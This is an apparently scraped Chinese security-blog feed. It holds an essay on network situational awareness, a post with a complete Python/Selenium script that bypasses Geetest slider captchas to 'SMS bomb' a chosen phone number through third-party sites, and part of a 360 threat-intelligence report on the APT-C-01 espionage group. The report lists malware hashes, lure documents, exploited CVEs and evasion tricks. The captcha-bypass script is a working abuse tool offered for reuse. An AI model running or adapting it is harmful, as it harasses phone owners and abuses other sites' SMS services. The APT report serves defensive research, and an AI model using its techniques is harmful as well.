䞊䞖纪90幎代这䞪抂念被匕入了信息安党领域最知名的2003幎匀始的矎囜的爱因斯坊计划(正匏名称囜家眑络空闎安党保技系统The National Cybersecurity Protection System)2013幎已经匀始第䞉期的建讟矎囜CERT及后续DHS(囜土安党郚)对态势感知进行了䞍断探玢。

矎囜囜家安党系统委员䌚对态势感知的定义是“圚䞀定的时闎和空闎范囎内䌁䞚的安党态势及其嚁胁环境的感知。理解这䞀者的含义以及意味的风险并对他们未来的状态进行预测。”态势感知是偏重于检测和响应分析胜力的建讟这确实是现实最迫切的安党需芁。

䞺什么需芁态势感知?

面对新的安党圢势䌠统安党䜓系遭遇瓶颈需芁进䞀步提升安党运营氎平的同时积极的匀展䞻劚防埡胜力的建讟。

从矎囜对爱因斯坊计划的持续䞍断投入可以看到眑络空闎安党的态势感知对于囜家、行䞚有倚么重芁的意义。我囜的眑络安党圢势非垞䞥峻截止2016幎底仅360公叞就环计监测到针对䞭囜境内目标发劚攻击的APT组织36䞪最近仍倄于掻跃状态的APT组织至少有13䞪这些组织的攻击目标涵盖了政府机关、高校、科研机构以及关键基础讟斜的行䞚/䌁䞚。今幎爆发的WannaCry勒玢蠕虫曎让我们看到了眑络歊噚民甚化之后可胜造成的巚倧灟害。

从现实䞭的眑络安党建讟看倚幎来我们䞀盎偏重于架构安党(挏掞管理、系统加固、安党域划分等)和被劚防埡胜力(IPS、WAF、AV等)的建讟虜取埗了䞀定的成果也遇到发展瓶颈。简单通过莭买曎倚的安党讟倇已经䞍胜䜿安党胜力有提升需芁进䞀步提升安党运营氎平的同时积极的匀展䞻劚防埡胜力的建讟。圚之前建立了䞀定自劚化防埡胜力的基础䞊匀始增加圚非特埁技术检测胜力䞊的投入以及事件响应分析胜力的建讟;并通过对事件的深床分析及信息情报共享建立预测预譊并针对性改善安党系统最终蟟到有效检测、防埡新型攻击嚁胁之目的。

正是因䞺这些现实的问题习总乊记才䌚圚4.19讲话䞭明确提出建讟“党倩候党方䜍感知眑络安党态势 ”。

态势感知胜干什么?

眑络安党䞎战争䞀样本莚是攻防双方的对抗攻防之战速床䞺王䜜䞺防守方的目标是猩短攻击者的自由攻击时闎。态势感知系统的䜜甚就是分析安党环境信息、快速刀断圓前及未来圢势以䜜出正确响应。

“党倩候党方䜍感知眑络安党态势”对态势感知的建讟目标做出了准确描述。党倩候党方䜍可以理解䞺时闎绎床和检测内容绎床。

圚时闎绎床䞊需芁利甚已有实时或准实时的检测技术还需芁通过曎长时闎数据来分析发现匂垞行䞺特别是倱陷情况。

圚内容绎床䞊也需芁芆盖眑络流量、终端行䞺、内容蜜荷䞉䞪方面。芁完敎提䟛以䞋5类检测胜力或者诎至少4ç±»(参照GartnerFive Styles of Advanced Threat Defense )

基于流量特埁的实时检测(WAF、IPS、NGFW等)

基于流量日志的匂垞分析机制(流量䌠感噚、Hunting、UEBA)

针对内容的静态、劚态分析机制(沙箱)

基于终端行䞺特埁的实时检测(ESP)

基于终端行䞺日志的匂垞分析机制(EDR、Hunting、UEBA)

“态”指是从党局角床看到的现状包括组织自身的嚁胁状态和敎䜓的安党环境需芁基于之前提到的5种检测胜力尜可胜的发现攻击事件或攻击线玢同时需芁对涉及到的报譊提䟛进䞀步的分析回答以䞋的问题

  • 是真实的攻击吗?是吊可胜误报?是吊把扫描识别䞺真实攻击?
  • 是什么性莚的攻击?定向或者随机?
  • 可胜的圱响范囎和危害
  • 猓解或者枅陀的方法及隟床

无法正确的回答这些问题只是简单的将报譊圚地囟䞊呈现就无法䜓现有现实价倌的“态”无法确定是吊可以进入倄眮流皋。

“势”即未来的状态。芁胜预测组织未来的安党状态需芁对现阶段所面䞎的攻击事件特别是定向攻击事件有深入的了解

  • 是新的攻击团队还是已知团䌙
  • 攻击者的意囟
  • 攻击者的技战术氎平及特点
  • 是吊属于䞀次倧型战圹的䞀郚分

了解这些信息同时通过信息和情报共享对同行䞚或盞䌌郚闚的盞关歀类信息也有所了解就胜借预测未来可胜倄于的安党状态以及需芁防埡的重点即预测预防胜力。

谁胜做态势感知?

芁完成态势感知的建讟目标需芁具倇以䞋䞉倧栞心芁玠流量数据采集、嚁胁情报和安党分析垈。

流量数据采集盞对而蚀实斜隟床蟃小同时还有着䞍可替代的价倌通过流量日志进行安党狩猎或者匂垞检测、分析攻击事件的圱响范囎、回溯完敎的攻击铟和TTP(战术、技术和过皋)。因歀流量数据是态势感知䞭必须考虑的䞀环。

嚁胁情报是随着新型嚁胁防埡快速成长的䞀䞪领域圚态势感知建讟䞭有着决定性的䜜甚。最经垞被提到的䞀类是可机读情报(MRTI)䞻芁是赋胜给安党产品增区或升级其安党胜力。

䞺了垮助安党分析垈完成对事件的分析嚁胁情报领域内提䟛了䞓䞚的情报分析工具(情报分析平台/关联分析平台)分析垈通过这样的平台可以方䟿的完成过去付出极倧䜓力和脑力也隟以进行的工䜜

  • 刀定䞀䞪攻击是吊属于已知攻击
  • 查扟和攻击盞关的眑络基础讟斜(域名、䞻机)及样本
  • 了解这些基础讟斜和样本的诊情
  • 刀定攻击是吊和某䞪已知团䌙盞关并了解这䞪攻击团䌙的基本情况

嚁胁情报䞭还有䞀类TTP类型的情报属于人读的情报䞻芁针对已发生的重芁安党事件分析攻击者的攻击范囎、攻击目的、具䜓的技战术手法和攻击过皋并提炌出防埡建议。

流量数据和嚁胁情报郜埈重芁䜆它们胜发挥倚倧䜜甚最终还是芁䟝赖䞎人的力量其䞭最重芁的是安党分析垈是安党运营䞭的高级人才。安党分析垈的成长需芁蟃奜的环境(劂数据和情报)、以及倧量的实战机䌚隟以倧批量培养。安党分析垈是态势感知必须倚重的重芁郚分是确定态势感知项目成莥的又䞀䞪关键因玠。成功的态势项目必须考虑到劂䜕匕入或培养这样的人才并通过提䟛奜的工具和流皋来支撑他们高效的完成任务。

态势感知是绌合性的安党胜力建讟流量数据、嚁胁情报以及安党分析垈是圱响项目成莥的关键因玠及倖倧数据平台、可视化、资产管理等也埈重芁。

劂䜕建讟态势感知?

态势感知建讟是䞪倍杂的系统工皋分阶段建讟是䞀种必芁、皳劥的方法。

以䞋绌合态势感知䞭涉及的䞻芁方面给出䞀些阶段性的划分意见

1. 基于特定组织完成内郚态势感知基本建讟

这䞪阶段的建讟内容䞻芁包括数据和报譊的收集、嚁胁情报平台、事件分析研刀平台、内郚倄眮管理平台以及呈现、蟅助完成这些工䜜的可视化应甚。这样圚䞀䞪单䜍内郚可以支撑完敎的安党运营。其䞭需芁的安党分析垈可以通过莭买倖郚服务的方匏获埗。

2. 建立纵向支撑䜓系以及情报数据共享䜓系

这䞪阶段的建讟包括纵向的恶意代码分析䞭心、增区的事件分析䞭心、以及情报分享机制和纵向嚁胁情报䞭心。恶意代码分析和重倧事件分析是需芁高氎平的安党分析垈的利甚纵向的建讟集䞭䜿甚这些资源可以曎快的提升敎䜓运营氎平也有利于安党分析垈的培养。情报分享机制保障信息圚行䞚内郚以及和公安、眑信等郚闚的同步同时通过纵向嚁胁情报䞭心收集、倄理、分发内郚情报信息对敎䞪行䞚或组织面䞎的嚁胁有䞀䞪曎粟准、党面的掌控让关键性情报可以曎迅速、有效的䜿甚。

3. 建立敎䜓性自劚化防埡胜力

到了这䞪阶段随着纵向支撑䜓系和敎䜓情报分析胜力的增区遇到关键事件可以进行敎䜓化防技劂自劚化配眮盞关的NGFW、IPS或邮件眑关讟倇再劂利甚内郚的DNS系统对特定的DNS解析进行重定向(Sinkhole)等利甚这些手段曎快速、高效的进行遏抑攻击事件䞺枅陀攻击争取时闎。

䞀䞪安党䜓系尀其是态势感知这样的倍杂䜓系圚䜓系建讟前建议先和䞓䞚的咚询机构和䞓䞚的安党服务商䞀起进行咚询、规划䜜䞺前期的配合工䜜。

选择什么合䜜䌙䌎?

态势感知的建讟需芁明确建讟目标、掌控奜关键性因玠、分阶段匀展盞关的建讟。这䞪过皋䞭选择适合的䌙䌎就特别重芁。

和什么样的䌙䌎合䜜胜借获埗最重芁的嚁胁情报、安党分析垈资源埗到成熟的流量数据解决方案是需芁仔细考量的问题。䜆我们可以乐观的看到早幎曟经制纊态势感知胜力建讟的数据平台和嚁胁情报胜力、高级别的安党分析垈资源圚近几幎郜有了快速的发展有盞应的䌘莚资源可以获埗。盞信通过䞀段时期的态势感知建讟我囜的眑络空闎安党氎平䌚有䞀䞪敎䜓的提升有足借的胜力去曎奜面对来自眑络犯眪团䌙、意识圢态黑客以及囜家级别的攻击嚁胁。

from

The post 什么是态势感知 防患于未然 预譊 预测 appeared first on 🔰雚苁ℒ🔰.

↧
↧

极验验证码砎解 实现短信蜰炞 暡拟甚户滑劚解锁

September 20, 2018, 9:37 pm
$
0
0

极验验证码砎解 实现短信蜰炞

极验验证码砎解 先䞊代码 黑客乊籍

#! python3
# coding:utf-8

import time,random
from PIL import Image
from selenium import webdriver
from selenium.webdriver.common.action_chains import ActionChains
import logging

logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s -%(message)s')

phoneNum = '13456788765'
# initial offset
initial_offset = 10
URLs = ['https://biaodan.info/q/7sisis']

#TODO get html elements
def sendPhone(driver, phoneNum, phoneInputClass, sendPhoneButtonId):
  # driver = webdriver.Chrome()
  logging.debug('Send Phone Start')
  phoneInput = driver.find_element_by_class_name(phoneInputClass)
  phoneInput.send_keys(phoneNum)
  time.sleep(2)
  sendBtn = driver.find_element_by_id(sendPhoneButtonId)
  sendBtn.click()
  time.sleep(5)

#TODO compare Captcha & return tarck
def elementsScreenshot(driver, bgImgClass, dragBallClass):
  # driver = webdriver.Chrome()
  logging.debug('start make background screenshot')
  driver.find_element_by_class_name(bgImgClass).screenshot('bg_full.png')
  time.sleep(2)
  ball = driver.find_element_by_class_name(dragBallClass)
  ActionChains(driver).click_and_hold(ball).perform()
  ActionChains(driver).move_by_offset(190, 0).perform()
  # move the ball to right
  # this is important
  time.sleep(0.5)
  driver.find_element_by_class_name(bgImgClass).screenshot('cut.png')
  # move the ball to left
  ActionChains(driver).move_by_offset(-30, 0).perform()
  time.sleep(1)
  ActionChains(driver).move_by_offset(-50, 0).perform()
  time.sleep(1)
  ActionChains(driver).move_by_offset(-40, 0).perform()
  time.sleep(1)
  ActionChains(driver).move_by_offset(-30, 0).perform()
  time.sleep(1)
  ActionChains(driver).move_by_offset(-40, 0).perform()

def dragBall(driver, track, dragBallClass):
  ball = driver.find_element_by_class_name(dragBallClass)
  logging.debug('ball start move')
  # simulate human's behave
  while track:
    len = random.choice(track)
    ActionChains(driver).move_by_offset(len, 0).perform()
    track.remove(len)
    logging.debug(track)
    time.sleep(len/10)
  imitate2L = ActionChains(driver).move_by_offset(-2, 0)
  imitateL = ActionChains(driver).move_by_offset(-1, 0)
  time.sleep(0.015)
  imitate2L.perform()
  time.sleep(0.04)
  imitateL.perform()
  time.sleep(0.04)
  imitate2L.perform()
  time.sleep(0.04)
  imitateL.perform()
  time.sleep(0.04)
  imitate2L.perform()
  ActionChains(driver).pause(random.randint(6, 10) / 10).release(ball).perform()

def getTrack(distance):
  logging.debug('calcute distance track')
  # simulate human's hebace s = 1 / 2 a t t
  track =[]
  current = 0
  mid = distance * 3 / 4
  t = random.randint(2, 3) / 10
  v = 0
  logging.debug('1')
  while current < distance:
    if current < mid:
      a = 2
    else:
      a = -3
    v0 = v
    v = v0 + a * t
    move = v0 * t + 1 / 2 * a * t * t
    current += move
    track.append(round(move))
    logging.debug(track)
  return track

# TODO compare two img
def compareImg(img1, img2, x, y):
  logging.debug('compare img start')
  pix1 = img1.load()[x, y]
  pix2 = img2.load()[x, y]
  threshold = 60
  if (abs(pix1[0] - pix2[0] < threshold) and abs(pix1[1] - pix2[1] < threshold) and abs(pix1[2] - pix2[2] < threshold)):
    return True
  else:
    return False

def getOffset(bgFullPath, bgPath):
  logging.debug('get img offset')
  bg_full = Image.open(bgFullPath)
  bg = Image.open(bgPath)
  left = initial_offset
  for width in range(left, bg_full.size[0]):
    for height in range(bg_full.size[1]):
      if not compareImg(bg_full, bg, width, height):
        left = width
        return left
  return left
#TODO execute Crack it

def main(driver):
  logging.debug('main() start')
  for url in URLs:
    driver.get(url)
    logging.debug('%s get html', url)
    time.sleep(3)
    sendPhone(driver, phoneNum, 'filter-input', 'btnSendCode')
    elementsScreenshot(driver, 'gt_cut_fullbg', 'gt_slider_knob')
    distance = getOffset('bg_full.png', 'cut.png')
    # logging.debug('%s',distance)
    track = getTrack(distance)
    dragBall(driver, track, 'gt_slider_knob')
    time.sleep(3)

if __name__ == '__main__':
  driver = webdriver.Chrome()
  for i in range(1, 2):
    logging.debug('%s Test', i)
    try:
      main(driver)
    except:
      print("%d Error", i)
      pass
  driver.close()
  driver.quit()

圚郚分进行安党林透测试的场景䞋需芁对手机号进行短信蜰炞操䜜无奈䞍想圚这方面增加投入无意䞭看到了衚单倧垈的郚分眑站提䟛短信验证码服务䜆是每次需芁进行验证于是䟿有了本篇亀流。
某䞪䞻页无恶意搜玢匕擎埗到

随意蟓入的号码然后点击发送出现验证码

芁实现眑站矀发的话芁具倇以䞋几䞪条件
1、䞀定数量的发送验证码服务的眑站每䞪页面有䞀䞪时闎限制限制120s后再次发送䜆是根据后期实践效果䞍需芁等埅120s䜆是闎隔䞀段时闎可以提高验证码的成功率
2、webdriver+selenium实现爬虫自劚化操䜜
3、就是实现代码了圚github䞊有其他人的实现代码䜆是圚衚单倧垈䞊衚现效果䞍䜳所以䟿有了以䞋实现

匀始实现了
銖先匕入库郚分变量申明

扟到电话号码蟓入框暡拟蟓入电话号码

代码实现

验证码囟片元玠采甚区域截囟方匏快速方䟿而䞔埈准确极验的这匠囟片是无法通过元玠审查盎接埗到䞋蜜地址是䞀片䞀片拌成的

代码实现

然后获取芁操䜜的元玠就是拉劚的那䞪球

代码实现

圚后面就是圚验证码掻劚的过皋䞭的蜚迹计算銖先通过比蟃囟片元玠的䞍同获埗芁到蟟的地点这就是之前截囟时将滑块移到最右蟹确保第䞀次计算出来的䞍同就是芁移劚的终点移劚蜚迹的算法参考了眑䞊的实现简单来讲就是s=v0t+1/2at^2



到这里基本就已经结束了接䞋来就是䞻皋序了

其实这也可以甚于采甚了极验的其他场合倧家自己修改
代码䞊䌠github欢迎倧家forkstar
https://github.com/xtom598/geeTestCode

from

The post 极验验证码砎解 实现短信蜰炞 暡拟甚户滑劚解锁 appeared first on 🔰雚苁ℒ🔰.

↧

毒云藀 (APT-C-01)军政情报刺探者揭露

September 21, 2018, 5:09 am
$
0
0

毒云藀 攻击比特垁亀易所

毒云藀 PDF版本䞋蜜铟接: 毒云藀

 从2007幎匀始至今360远日团队发现毒云藀组织对䞭囜囜防、政府、科技、教育以及海事机构等重点单䜍和郚闚进行了长蟟11幎的眑络闎谍掻劚。该组织䞻芁关泚军工、䞭矎关系、䞀岞关系和海掋盞关领域其关泚的领域䞎我们之前发垃的海莲花OceanLotusAPT组织有䞀定盞䌌的地方。

第1章  抂述

1.    䞻芁发现

从2007幎匀始至今360远日团队发现毒云藀组织对䞭囜囜防、政府、科技、教育以及海事机构等重点单䜍和郚闚进行了长蟟11幎的眑络闎谍掻劚。该组织䞻芁关泚军工、䞭矎关系、䞀岞关系和海掋盞关领域其关泚的领域䞎我们之前发垃的海莲花OceanLotusAPT组织有䞀定盞䌌的地方。

360远日团队捕获毒云藀的銖䞪朚马出现圚2007幎12月。圚之后的11幎䞭我们先后捕获到了13䞪版本的恶意代码涉及样本数量73䞪。该组织圚初始攻击环节䞻芁采甚鱌叉匏钓鱌邮件攻击攻击之前对目标进行了深入调研和粟心挑选选甚䞎目标所属行䞚或领域密切盞关的内容构造诱饵文件和邮件䞻芁是采甚盞应具䜓领域盞关䌚议材料、研究成果或通知公告等䞻题。期闎挏掞文档样本数量10䞪其䞭包含1䞪0day挏掞。这些朚马的感染者遍垃囜内31䞪省级行政区。C&C域名数量䞺59䞪回䌠的地址䜍于4䞪䞍同囜家或地区。

毒云藀圚对䞭囜持续11幎的眑络闎谍掻劚䞭䞋述盞关时闎点倌埗关泚

  • 2007幎12月銖次发现䞎该组织盞关的朚马。涉及海掋盞关领域疑䌌对某倧型船务公叞进行盞关攻击
  • 2008幎3月对囜内某高校重点实验宀某科研机构
  • 2009幎2月匀始对军工行䞚展匀攻击某知名军工类期刊杂志瀟
  • 2009幎10月朚马增加了特殊的对抗静态扫描的手法API字笊䞲逆序盞关手法沿甚到倧郚分版本的朚马䞭并持续应甚到2018幎
  • 2011幎12月朚马增加了特殊的对抗劚态检测的手法错误API参数盞关手法沿甚到倧郚分版本的朚马䞭并持续应甚到2015幎
  • 2012幎2月銖次发现基于zxshell代码的修改版后闚1其䞭关键功胜是窃取劂.doc\.ppt\.xls\.wps类文档文件
  • 2013幎3月对䞭科院以及若干科技、海事等领域囜家郚委、局等进行了集䞭攻击
  • 2013幎10月对䞭囜某政府眑站进行氎坑攻击
  • 2014幎5月发现zxshell修改版后闚1的进化版本2其䞭陀了基于修改版1功胜增加了劂“军”“航”“报告”关键字的搜玢
  • 2014幎9月12日銖次发现䞎CVE-2014-41140day挏掞盞关事件和样本。
  • 2014幎10月14日iSIGHT发垃盞关报告并指出CVE-2014-41140day挏掞。同日埮蜯发垃盞关安党公告
  • 2015幎2月25日对某军工领域协䌚组织囜防科技盞关、䞭囜工皋院等攻击同时发现酷盘版样本
  • 2017幎10月䞻芁通过CVE-2017-8759挏掞文档对某倧型媒䜓机构眑站和泉州某机关盞关人员实斜鱌叉攻击
  • 2018幎4月360嚁胁情报䞭心公匀披露了该组织利甚CVE-2017-8759挏掞文档的攻击恶意代码2
  • 2018幎5月针对数家船舶重工䌁䞚、枯口运营公叞等海事行䞚机构发劚攻击

 

泚

以䞊銖次攻击时闎是基于我们对该组织了解掌握的现有数据进行统计的䞍代衚我们已经掌握了该组织的党郚攻击事件和行䞺。

 

    2.    呜名由来

自2015幎囜内圚APT方向的盞关研究逐析起步并加快。继“海莲花”、“蓝宝菇”等组织曝光之后毒云藀组织APT-C-01是又䞀䞪针对政府、军工、海事等领域敏感信息持续发起攻击的APT组织。

该组织是360独立发现的并率先披露了该组织的郚分盞关信息参见https://ti.360.net/blog/articles/analysis-of-apt-c-01/发垃时闎2018幎4月笊合360对APT组织就行独立呜名的条件。

360嚁胁情报䞭心将APT-C-01组织呜名䞺“毒云藀”䞻芁是考虑了以䞋几方面的因玠䞀是该组织圚倚次攻击行劚䞭郜䜿甚了Poison Ivy毒藀朚马二、该攻击组织圚䞭蜬信息时曟䜿甚云盘䜜䞺跳板䌠蟓资料这跟爬藀类怍物凌空而越过墙䜓颇有盞䌌之倄。根据360嚁胁情报䞭心对APT组织的呜名规则参见《2016幎䞭囜高级持续性嚁胁研究报告》同时结合该组织关联地区垞见的蔓藀怍物将APT-C-01组织呜名䞺“毒云藀”。

及囜内安倩实验宀于2018幎9月19日发垃APT攻击组织“绿斑”GreenSpot分析报告。根据360嚁胁情报䞭心䞎安倩实验宀之闎蟟成的胜力型厂商成果互讀纊定360嚁胁情报䞭心发现的“毒云藀”APT-C-01对应“绿斑”Green Spot二者是同䞀组织。因歀我们把监测到的情况䞎该组织攻击特点也公垃出来共同䞺䞭囜提升APT防埡胜力而努力。

 

第2章  攻击目的和受害分析

1.     攻击目的

攻击组织的䞻芁目的是窃取䞭囜政府、科研盞关行䞚领域的资料数据。盞关数据䞻芁以文档䞺䞻关心的关键字䞻芁包括以䞋关键字和扩展名的文件

关键字
“201”“2014”“2015幎”“报”“报告”“兵”“郚队”“对台”“工䜜”“规划”“囜”“囜际”“航”“合䜜”“机”“机场”“基地”“极地”“军”“军事”“科技”“密”“内郚”“十”“十䞉”“台”“台湟”“铁路”“无人”“项”“雪”“研”“运蟓”“战”“站”“䞭”
扩展名
“doc”“ppt”“xls”“pdf”“rtf”“rar”“wps”“doc*”“ppt*”“xls*”

 

窃取甚户䞻机盞关信息

毒云藀

毒云藀

囟 1盞关窃取甚户䞻机信息截囟瀺䟋

毒云藀

囟 2被感染甚户月统计2014幎7月-2015幎6月

2.      行䞚分垃

䞻芁涉及囜防、政府、科技、教育等

盞关领域包括海掋南海、䞜海、测绘、军工、涉台问题䞀岞关系、䞭矎关系

 

3.      地域分垃

毒云藀

囟 3䞭囜被感染地区分垃囟2014幎7月-2015幎6月

毒云藀

囟 4䞭囜被感染地区比䟋囟

地区 数量
北京 296
犏建 55
广䞜 43
浙江 39
䞊海 32

 

第3章  持续11幎的掻劚

1.      初始攻击

1)     鱌叉匏钓鱌邮件攻击

鱌叉匏钓鱌邮件攻击是APT䞭垞甚的攻击手法䞻芁圚APT的初始攻击环节。简单理解就是利甚邮件䜜䞺攻击前富其䞭正文、附件郜可胜携垊恶意代码进䞀步䞻芁以附件携垊挏掞文档文件䞺䞻倧纊90%的攻击郜是该类攻击[1]。

本小节䞻芁介绍邮件携垊挏掞文档和邮件携垊二进制可执行文件这䞀种攻击方法。

A.       携垊挏掞文档

MD5 文件名 病毒名
邮件附件 
a5d9edaa1b6cf820d54c19b2c6bd246d
 䞓䞚技术干郚手册.rar
压猩包内PE 
2fa75fdf4d57c182bc6c0438dd6cbf27
 HandBook.chm
释攟的PE 
b04d7fa1c7e3a8274ba81f48f06a5f4e
 hh.exe 
Backdoor.Win32.FakeWinupdate

毒云藀

囟 5携垊挏掞文档案䟋1邮件截囟

毒云藀

囟 6携垊挏掞文档案䟋1邮件附件压猩包截囟

毒云藀

囟 7携垊挏掞文档案䟋1诱饵CHM文档截囟

 

MD5 文件名 病毒名
邮件附件 
19365fddc2fca8735d51def001704db3
 2013䞭囜亚掲倪平掋孊䌚幎䌚文件.doc virus.exp.20120158
释攟的PE 
07561810d818905851ce6ab2c1152871
 update.exe Backdoor.Win32.ZxShell

毒云藀

囟 8携垊挏掞文档案䟋1邮件截囟

 

类型	                          MD5	                文件名	                        病毒名
邮件附件	9fb6866c2cdd49387a520f421a04b882	䞭科院2013幎研究项目材料.doc	virus.exp.20120158
释攟的PE	f3ed0632cadd2d6beffb9d33db4188ed	update.exe	                Backdoor.Win32.PoisonIvy

毒云藀

囟 9携垊挏掞文档案䟋2邮件截囟

毒云藀

囟 10携垊挏掞文档案䟋2挏掞文档释攟后迷惑文档截囟

 

B.       携垊PE二进制可执行皋序

类型	        MD5                             	文件名	                                        病毒名
邮件附件	954f50f7ed8b4c11b59560769de0ec36	关于掚荐第十䞉届䞭囜青幎科技奖候选人的通知.rar	Dropper.Win32.FakeDoc
压猩包内PE	8c9670fbe68ab8719077d480242e6b9e	关于掚荐第十䞉届䞭囜青幎科技奖候选人的通知.exe	Dropper.Win32.FakeDoc
释攟的PE	6a37ce66d3003ebf04d249ab049acb22	svchoct.exe	                                Backdoor.Win32.HttpBot

 

毒云藀

囟 11携垊PE二进制可执行皋序案䟋邮件截囟

毒云藀

囟 12携垊PE二进制可执行皋序案䟋邮件附件压猩包截囟

毒云藀

囟 13携垊PE二进制可执行皋序案䟋䞭朚马释攟迷惑文档打匀后截囟

 

攻击组织圚发送钓鱌邮件通垞登圕web邮件和通过盞关工具PHPMailer[2]进行攻击邮件的发送。

 

C.       携垊自解压文件

攻击组织通过向目标邮箱发送压猩圢态的RAR自解压栌匏皋序。

毒云藀

附件里面是朚马文件

毒云藀

该文件实际是䞀䞪RAR自解压栌匏皋序参数劂䞋点击这䞪exe䌚盎接运行里面的bat文件

毒云藀

 

默讀的批倄理呜什䌚把朚马䞻䜓移劚到temp目圕䞋然后执行起来同时删陀该批倄理文件

毒云藀

2)     RLO[3]䌪装文档扩展名

MD5 文件名 病毒名
邮件附件 
954f50f7ed8b4c11b59560769de0ec36
 䞜海航保通信台站规划补充材料hangbaoexe.doc真实扩展名cod.exe Dropper.Win32.FakeDoc

毒云藀

囟 14䌪装文档扩展名RLO样本截囟

3)     䌪装囟标隐藏扩展名

MD5 文件名 病毒名
邮件附件 
cbeebf063f914eb3b5eba8b37302189f
 “军民融合深床发展战略研究”咚询项目正匏启劚 .exe Dropper.Win32.FakeFolder

毒云藀

囟 15䌪装囟标隐藏扩展名案䟋1截囟

 

MD5 文件名 病毒名
邮件附件 
ae004a5d4f1829594d830956c55d6ae4
 2014-03-18䞭囜系统仿真孊䌚科研项目经莹自查xls             _____________________________.exe Dropper.Win32.FakeXls

毒云藀

囟 16䌪装囟标隐藏扩展名案䟋2截囟

毒云藀

囟 17䌪装囟标隐藏扩展名案䟋2朚马释攟的迷惑文档截囟

 

2.      挏掞分析

1)     CVE-2012-0158挏掞

挏掞猖号 CVE-2012-0158
诎明 Windows 垞甚控件䞭存圚䞀䞪远皋执行代码挏掞。攻击者可通过构建特制眑页来利甚歀挏掞。圓甚户查看眑页时该挏掞可胜允讞远皋执行代码。成功利甚歀挏掞的攻击者可以获埗䞎登圕甚户盞同的甚户权限。
公垃时闎 2012幎4月10日
参考铟接 
https://technet.microsoft.com/zh-cn/library/security/ms12-027.aspx  http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0158

A.       挏掞文档执行流皋

毒云藀

囟 18挏掞文档CVE-2012-0158执行流皋

B.       MHT栌匏

毒云藀

囟 19挏掞文档䞀种圢态䞊MHT䞋RTF对比囟

CVE-2012-0158挏掞䞻芁以 rtf和doc栌匏䞺䞻䜆本次攻击郜是将doc文件保存䞺mht栌匏富臎杀蜯圚挏掞检查时因前眮逻蟑䞍匹配而挏检。盞关挏掞文档文件圚圓时郜是蟃䜎检出率。

 

C.       shellcode对比

盞关对比项 共性描述
shellcode 第䞀层shellcode郜是匂或0xA3甚于解密盞关样本均䞺3层shellcode并䞔数据结构䞀臎
Magic倌 倌䞺0×227766550xCACACACA0xA02005CA均䞀臎
释攟文件 路埄䞀臎正垞文档文件“%USERPROFILE%”盞关文档文件名䌚有变化劂“关于对䞭船钊州倧型海工修造及保障基地项目䞀期工皋建讟工䜜莣任衚的意见37号.doc”、“䞀䌚重芁发垃报告.doc”、“123.doc”等PE朚马文件“C:\Documents and  Settings\All Users\「匀始」菜单\皋序\启劚\update.exe”
枅陀痕迹 解码盞关泚册衚项并删陀。目的是䞺了枅陀office的打匀倱莥等记圕的历史信息。盞关泚册衚项
”Software\Microsoft\Office\12.0\Word\Resiliency\DisabledItems”"Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems”"Software\Microsoft\Office\11.0\Word\Resiliency\DocumentRecovery”"Software\Microsoft\Office\11.0\Word\Resiliency\DisabledItems”"Software\Microsoft\Office\11.0\Word\Resiliency\StartupItems”

 

通过我们对挏掞文档的shellcode对比可以发现盞关结构和功胜郜基本䞀臎进䞀步我们也胜掚断盞关挏掞文档是同䞀组织匀发。

 

2)     CVE-2014-6352挏掞0day

A.       背景介绍

CVE-2014-4114挏掞是iSIGHT公叞[4]圚2014幎10月14日发垃盞关报告报告其䞭提到䞀䞪0day挏掞CVE-2014-4114甚于俄眗斯盞关䞻芁针对北纊、欧盟、电信和胜源盞关领域的眑络闎谍掻劚。埮蜯也是圚10月14日发垃盞关安党公告。

而CVE-2014-6352是可以讀䞺绕过CVE-2014-4114补䞁的挏掞埮蜯之前的修补方案銖先圚生成Inf和exe文件后添加MakeFileUnsafe调甚来讟眮文件Zone信息这样随后圚挏掞执行inf安装时䌚有䞀䞪安党提瀺。而CVE-2014-6352挏掞样本抛匃了䜿甚inf来安装exe蜬而盎接执行exe。因䞺xp以䞊系统可执行文件的右键菜单第二项是以管理员权限执行这样富臎劂果甚户关闭了uac䌚富臎没有任䜕安党提醒。所以埮蜯6352的补䞁是圚调甚右键菜单添加䞀䞪安党提瀺匹窗。

挏掞猖号 CVE-2014-4114
诎明 Windows OLE 䞭存圚䞀䞪挏掞劂果甚户打匀包含特制 OLE 对象的文件则该挏掞可胜允讞远皋执行代码。成功利甚歀挏掞的攻击者可以获埗䞎登圕甚户盞同的甚户权限。劂果圓前甚户䜿甚管理甚户权限登圕则攻击者可随后安装皋序查看、曎改或删陀数据或者创建拥有完党甚户权限的新垐户。那些垐户被配眮䞺拥有蟃少甚户权限的甚户比具有管理甚户权限的甚户受到的圱响芁小。
公垃时闎 2014幎10月14日
参考铟接 
https://technet.microsoft.com/zh-cn/library/security/ms14-060.aspx  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4114

 

挏掞猖号 CVE-2014-6352
诎明 圚甚户䞋蜜或接收然后打匀经特殊讟计的包含 OLE 对象的 Microsoft  Office 文件时䌚富臎圓前甚户䞊䞋文䞭的远皋执行代码挏掞。Microsoft 最初通过协调挏掞披露枠道了解到有关歀挏掞的信息。歀挏掞最初圚 Microsoft 安党通报 3010060 䞭进行了诎明。Microsoft 获悉尝试䜿甚歀挏掞的有限攻击。歀曎新通过修改圚访问 OLE 对象时受圱响的操䜜系统验证内存䜿甚的方匏来解决这些挏掞。
公垃时闎 2014幎10月21日
参考铟接 
https://technet.microsoft.com/zh-cn/library/security/3010060.aspxhttps://technet.microsoft.com/zh-cn/library/security/ms14-064.aspx  http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6352

 

B.       本次行劚䞭盞关介绍

MD5 文件名 病毒名 
da807804fa5f53f7cbcaac82b901689c
 指挥控制䞓委䌚评审莣任乊.ppsx virus.exp.20146352 
19f967e27e21802fe92bc9705ae0a770
 南海诟题项目建议乊.ppsx virus.exp.20146352

毒云藀

囟 20挏掞文档CVE-2014-6352属性盞关信息

毒云藀

囟 21 CVE-2014-6352盞关关键时闎节点

 

本次行劚䞭的样本没有䜿甚inf[5]来做跳板而是盎接䜿甚exeCVE-2014-4114挏掞觊发后默讀调甚的是右键菜单第二项Windows7䞋正垞是䜿甚管理员权限打匀劂果第二项是其他选项则䌚将病毒路埄䜜䞺参数䌠递这也䌚产生郚分兌容性问题。执行效果具䜓劂䞋囟所瀺

毒云藀

囟 22挏掞执行效果瀺意囟

 

挏掞文档版本升级

 

毒云藀

